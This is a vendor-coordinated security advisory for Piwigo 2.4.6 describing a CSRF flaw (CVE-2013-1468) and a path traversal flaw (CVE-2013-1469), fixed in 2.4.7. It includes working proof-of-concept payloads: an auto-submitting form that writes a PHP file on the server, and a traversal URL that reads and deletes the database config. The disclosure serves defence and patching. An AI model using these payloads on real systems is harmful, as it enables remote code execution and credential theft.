The Ethical Hacker Network - HTB23144: Multiple Vulnerabilities in Piwigo

Advisory ID: HTB23144
Product: Piwigo
Vendor: Piwigo project
Vulnerable Versions: 2.4.6 and probably prior
Tested Version: 2.4.6
Vendor Notification: February 6, 2013
Vendor Fix: February 19, 2013
Public Disclosure: February 27, 2013
Vulnerability Type: Cross-Site Request Forgery [CWE-352], Path Traversal [CWE-22]
CVE References: CVE-2013-1468, CVE-2013-1469
Risk Level: High
CVSSv2 Base Scores: 7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C), 4 (AV:N/AC:H/Au:N/C:P/I:N/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Piwigo, which can be exploited to perform Сross-Site Request Forgery and Path Traversal attacks.

1) Сross-Site Request Forgery (CSRF) in Piwigo: CVE-2013-1468

The vulnerability exists due to insufficient verification of the HTTP request origin in "/admin.php" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create arbitrary PHP file on the remote server.

The following PoC (Proof of Concept) code creates a file "file.php" containing "phpinfo();", which can be later accessed via the http://[host]/file.php URL:

Code:

<form action="http://[host]/admin.php?page=plugin-LocalFilesEditor" method="post" name="f1">
<input type="hidden" name='edited_file' value='file.php'>
<input type="hidden" name='text' value=' phpinfo(); '>
<input type="hidden" name='submit' value='1'>
<input type="submit" id="btn">
</form>
<script>
document.f1.submit();
</script>

Successful exploitation requires that the "LocalFiles Editor" plugin is enabled (disabled by default).

2) Path Traversal in Piwigo: CVE-2013-1469

The vulnerability exists due to insufficient filtration of user-supplied input in "dl" HTTP GET parameter passed to "/install.php" script. The script is present on the system after installation by default, and can be accessed by attacker without any restrictions. The vulnerable code is:

Code:

if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
{
$filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
...
echo file_get_contents($filename);
...
}

However, the vulnerability may be exploited only if PHP 'file_exists' function returns 'true' both for "C:/boot.ini" (or any existing file) and for "C:/any_non_existing_directory/../boot.ini" (in our case the non-existing directory in path is "/pwg_/"). This works in default PHP installation on Windows platform (tested on Windows 7, PHP 5.3.x). In case of successful exploitation remote attacker can read content of arbitrary files on the vulnerable system.
Important: after being read the file is deleted (if web server has write permission to it).

The following PoC (Proof of Concept) code will display and delete the application's configuration file:

Code:

http://piwigo/install.php?dl=/../../local/config/database.inc.php

Solution:
Upgrade to Piwigo 2.4.7

More Information:
http://piwigo.org/releases/2.4.7
http://piwigo.org/bugs/view.php?id=0002843
http://piwigo.org/bugs/view.php?id=0002844

References:
[1] High-Tech Bridge Advisory HTB23144 - https://www.htbridge.com/advisory/HTB23144 - Multiple Vulnerabilities in Piwigo.
[2] Piwigo - http://piwigo.org/ - Piwigo is a photo gallery software for the web, built by an active community of users and developers.
[3] Common Vulnerabilities and Exposures (CVE) - cve.mitre.org - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.